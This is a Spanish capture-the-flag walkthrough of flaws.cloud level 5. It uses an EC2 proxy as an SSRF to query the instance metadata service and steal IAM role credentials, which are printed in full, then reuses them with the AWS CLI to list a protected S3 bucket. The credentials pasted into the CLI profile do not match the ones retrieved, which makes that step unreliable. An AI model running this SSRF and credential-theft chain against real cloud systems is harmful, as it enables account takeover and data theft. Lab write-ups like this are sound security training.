Level 5

http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

En este nivel nos dicen que el EC2 tiene un proxy que se usa así:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/PAGE/

y que tenemos que aprovecharlo para listar los contenidos del bucket del nivel 6

http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/

Si intentamos listar con la técnica del nivel 1:

https://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud.s3.amazonaws.com

Nos tira Acceso denegado.

Podemos leer la metadata del EC2, a través del proxy (SSRF)

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/

curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
  "Code" : "Success",
  "LastUpdated" : "2025-10-26T20:40:43Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQGVIISET5W",
  "SecretAccessKey" : "uNfMgk4cH/HzReJYk6yFZGch2WeC0emR0pyic+7d",
  "Token" : "IQoJb3JpZ2luX2VjEN3//////////wEaCXVzLXdlc3QtMiJIMEYCIQCY/mXGcOdEUnXhvsBoMBTvzkIjizeu94w6NPzWMNKtmAIhAMBTd2F2iRz3duBQjDhOo3sFloRbfqmd6MFj7jJDW54xKrsFCJb//////////wEQBBoMOTc1NDI2MjYyMDI5Igxty0tVXzN6bpid2fQqjwVxxL9Z8x2ZrveGy5oFEc8EI8Wbg02+22sAjaD/uO8l/NHkWB8tfK8oFW7oS3eJB+VG1/a+6tv9YGXaz4x4Q4c+TqLhZAAlmQel/d5gDCQIL/nF4OrjcAlYje3mTnNrtDWRawzTFuLvZmXiCV+DCi/30WK+i8X1f0Z0Q7nS8oa3Ca6jt0f42EbssKJQaUZcCKNyfioMGZiejmooeOm+5zzCRvY/SKPJfvA+CbV+q4Bm9Uo2WvR/SRNeQZT1ogJjuNQyE55dbVhufR0xYw46Y/GzVlKU41SAfeZGiro5AdU/29AaDcSWhndJpqxXKONB3jJ1LImaE5FwFIXyuW5FtBBm1j895jk1/Rr4DosEfexHPn9Z5dXTkPrjVnFlgIOC2rz7fdO310zlMPFPDjgUhOHVqJMZ5aE6wx+YffFeb5p++QBI7x2p/g2jTFPZsJu7RKGpcKj3KIh5KeD38O5nC60EpHrVcJ57wL5W2kD4ffFP9IqFfdZIbjMaOqPXQtj45NJWa5dgbllK4eqMa8zokSmDRaydE6RZigOAzC2uCAYxToMgTsB3O9kB/XK9ZMltopgtneGT51cLoILH5TNF7FDcz/p6PVfpXIe9yPTiyzMRZYzNLZYS5PHz0jToLOrzUUtZ8/LVuySt0ZDSQhAmuOBULn+m9Oz1f2JywLeZct7G56LMaoXHWymcMwvbdeNBXmQDRxmpfnV4EG+ciXB/CyYBOuqYZ4hL141irspZXKu0n6pkrcEWcGjexL9xiRrydJjIkWRcrDoCUP3XMYmuCyKSY0/J32O5Ps0+Ty2IMZUOjiCl4DmSzb0y0i29I9Lu+tSQi0MxntO3v7TYNSi5c9NDf3cEVzQRlqmRIPxB39RMMJqO+scGOrABUIt+sdRlDz6aEql7ciaVOMA4cXXFZDIknnXgLbQ6GocXQaQar9jTflwFexYMMpSNVDMYBrkq6978Wy3vSmXZ/OV7YOtkiFBqEkvd91eAnyUpvWFCAqRSudPUPFbvsGTt/DFNArQPJA/lp3Tu2//n2thBeFCLxpnd+6nHEUEgC0uH0BMFeq7Q+wbkO/R5C2o3/KQVbWUVoRFn36fVNiMp/SAjzpfuOOZ/W1OoyaiPXBE=",
  "Expiration" : "2025-10-27T02:48:17Z"
}

Se trata de credenciales temporales de Rol de IAM , para ser usadas de forma temporal por ese EC2 y autenticarse contra otros servicios de AWS

Para usarlas, nos creamos un profile con esas credenciales :

aws configure --profile ctf3

ASIA6GG7PSQGVIISET5W

xVbg1y8/hXJV9HAsBg0YCXSTxv+rl2L4uAApum15

IQoJb3JpZ2luX2VjEN3//////////wEaCXVzLXdlc3QtMiJIMEYCIQDYBSWEqQvY4s5ID0Q1TisbRbQtOEKG9D8lp7R1lL197QIhAOjGJGS/zyITVOkxyMpzYvitPRj1fj6SfN1mT7LGpTcxKs8ECJb//////////wEQBBoMOTc1NDI2MjYyMDI5IgxW7+Im1D+KxDb3+SIqowTNJ2aT3RTEh7X7RzOgcF9/WYZEyxYl3Id6ED/xFMllrIP9keDPZi2P6V4kYMz8gVysb+Dzi8iNTzLDBNG2+YjFtoni2SdNk/+i6fpQmpKqiS0XT8v5pxCua9mtd5lGLWcvuS44OzaCmJ6ri0vHW5tQWEPY/4R8zdjYLhdu5Hmu6PVrWq4Hp9nY6TIhTYMn8sBcgmEPxC9mITtq6LK4q9fodjOf11jyNZV1UG8IVVevrSZqWafABLzoLdj0G43VT1SxAnltgD6ptxC++FHfWMiovhy8xDGrnibhl8RXWIs0fazKAPlqEYEnDxNqjUKf7ej1kmY0H8Wctw19dQY0kV5dbkdCa2OqgYSHe3dN8cBurBygLOep3Dt1NnMuF/HI1bWcJlACvwNmJ2Y+l8V+23XKvLAnZCyuKx82visUPaWBO73X32DDuYNOgWiv5oQeAgZh2eCIds0AcXO2mWnAWvqMG5SmzP19i0hZwXckfY6IfHc0+KnQNjfgvlvKaJYj+nKIZx2J/SvP4XDGZYH12A4y1FPXft4Vj1CQXUxMYUerTd4ebIcGOK1uY5U4TGV0HlIDLC2iZJe3o7Q5C2bTiGxPIAHdlwWv0J3ufEeCpJ2H1vyaStDfhPLuD1ghep3tNf6dvV025eKH8m5sYmX1GkI0jkgC7qjBckBlcZVs5INuNjk/cDVkzdBP71uS1RUsrD7pCEV5vMxE8jY0CzdQLDnFTdcEMJqO+scGOpICw9DeoTBYiacDTtAcl0G6nPNx+ZxVA0GiLgj2X8OtiFnB/TJVDYBjRKmtbdB3N5udYdiw2E943GzYwoyDHMFhG8V+EHKhdjrKcy3xz10Zs5Z8Dpx1V6aMrR49pdQ2huXwyQzggKl8WY2A4boYiHD4AJirD53S2ThFn5PuPqYTBr/ArYjbVdYc1L0xYJdtWzFjqfPi3FKo3QuzTRg15uEzxqD/iaSAoPkxeJsY7ahl4swMMw/DrVMVpFFVDYqfX0gY3G59K3HY0GIAxLZTvpZcC7ptS0X06OFtJjrFMEiEkTg5LcLWTjRK+09GZpZqfl50Z+lNY6EagfVTN0hY7jpZ0a/nVLFxGDzfomC+a+BevB896g==


json

Se trata de credenciales temporales, generadas por el servicio STS (empiezan con ASIA...)

Nos habremos autenticado como esa iam de esa ec2, como el rol que la ec2 está asumiendo:

aws sts get-caller-identity --profile ctf3
{
    "UserId": "975426262029:aws:ec2-instance:i-05bef8a081f307783",
    "Account": "975426262029",
    "Arn": "arn:aws:sts::975426262029:assumed-role/aws:ec2-instance/i-05bef8a081f307783"
}

Listamos los contenidos del bucket objetivo :

aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ --profile ctf3